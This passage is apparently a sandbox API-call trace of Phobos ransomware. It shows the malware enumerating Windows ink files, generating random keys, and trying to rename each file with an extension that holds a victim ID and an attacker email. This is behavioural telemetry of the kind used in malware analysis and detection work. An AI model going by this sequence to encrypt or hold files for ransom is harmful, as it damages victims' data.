"c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0048.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.288] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.300] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1600388) returned 1 [0048.300] CloseHandle (hObject=0x31c) returned 1 [0048.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0048.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0048.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0048.300] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.302] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=212) returned 1 [0048.302] CloseHandle (hObject=0x31c) returned 1 [0048.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0048.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.303] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.303] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=215) returned 1 [0048.303] CloseHandle (hObject=0x31c) returned 1 [0048.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0048.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.304] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.305] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=384) returned 1 [0048.305] CloseHandle (hObject=0x31c) returned 1 [0048.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0048.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.305] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.305] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=903) returned 1 [0048.305] CloseHandle (hObject=0x31c) returned 1 [0048.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0048.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.306] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.321] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=392) returned 1 [0048.321] CloseHandle (hObject=0x31c) returned 1 [0048.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0048.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.321] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.325] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=693) returned 1 [0048.325] CloseHandle (hObject=0x31c) returned 1 [0048.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0048.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.325] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.341] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3524) returned 1 [0048.341] CloseHandle (hObject=0x31c) returned 1 [0048.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0048.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.341] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.341] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3529) returned 1 [0048.341] CloseHandle (hObject=0x31c) returned 1 [0048.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0048.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.342] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.343] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.345] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=804) returned 1 [0048.345] CloseHandle (hObject=0x31c) returned 1 [0048.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0048.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.345] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.346] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=617) returned 1 [0048.346] CloseHandle (hObject=0x31c) returned 1 [0048.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0048.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.346] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.347] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=16616) returned 1 [0048.347] CloseHandle (hObject=0x31c) returned 1 [0048.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0048.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.347] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.350] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=9803) returned 1 [0048.350] CloseHandle (hObject=0x31c) returned 1 [0048.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0048.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.351] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.352] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=11067) returned 1 [0048.352] CloseHandle (hObject=0x31c) returned 1 [0048.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0048.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.353] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.354] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=44506) returned 1 [0048.354] CloseHandle (hObject=0x31c) returned 1 [0048.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0048.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.354] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0048.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.357] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=737) returned 1 [0048.357] CloseHandle (hObject=0x31c) returned 1 [0048.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 